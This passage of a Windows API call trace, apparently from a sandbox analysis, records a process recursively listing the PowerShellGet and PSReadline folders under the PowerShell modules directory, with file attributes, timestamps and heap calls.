	[0162.173] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0162.173] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0162.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0162.174] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0
	[0162.174] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0162.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0162.174] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1
	[0162.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0162.174] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet") returned 56
	[0162.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0162.175] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.175] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1
	[0162.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0162.175] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1") returned 64
	[0162.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0162.177] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.178] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb53ed28c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0162.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0162.178] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US") returned 70
	[0162.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb53ed28c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0162.179] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb53ed28c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.179] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x129b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 1
	[0162.179] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x129b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 0
	[0162.179] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0162.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0162.179] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1
	[0162.179] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSGet.Format.ps1xml", cAlternateFileName="PSGETF~1.PS1")) returned 1
	[0162.180] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13872, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 1
	[0162.180] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ec1f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSModule.psm1", cAlternateFileName="PSMODU~1.PSM")) returned 1
	[0162.180] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ec1f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSModule.psm1", cAlternateFileName="PSMODU~1.PSM")) returned 0
	[0162.180] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0162.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0162.180] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0162.180] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0162.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0162.180] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1
	[0162.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0162.180] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline") returned 53
	[0162.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0162.181] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.181] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1", cAlternateFileName="")) returned 1
	[0162.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0162.181] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1") returned 57
	[0162.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0162.188] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.188] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xb5478c6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en", cAlternateFileName="")) returned 1
	[0162.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0162.188] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\en") returned 60
	[0162.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\en\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xb5478c6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0162.189] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xb5478c6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.189] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xfb6a7fd7, ftLastAccessTime.dwHighDateTime=0x1d1a04a, ftLastWriteTime.dwLowDateTime=0xfb6a7fd7, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0162.189] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xfb6a7fd7, ftLastAccessTime.dwHighDateTime=0x1d1a04a, ftLastWriteTime.dwLowDateTime=0xfb6a7fd7, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0162.189] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0162.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0162.189] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0162.190] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psd1", cAlternateFileName="PSREAD~1.PSD")) returned 1
	[0162.190] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 1
	[0162.190] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 0
	[0162.190] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0162.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0162.190] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1
	[0162.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0162.190] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2") returned 57
	[0162.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0162.199] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.199] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb54d81cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en", cAlternateFileName="")) returned 1
	[0162.199] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0162.199] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\en") returned 60
	[0162.199] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\en\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb54d81cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd180
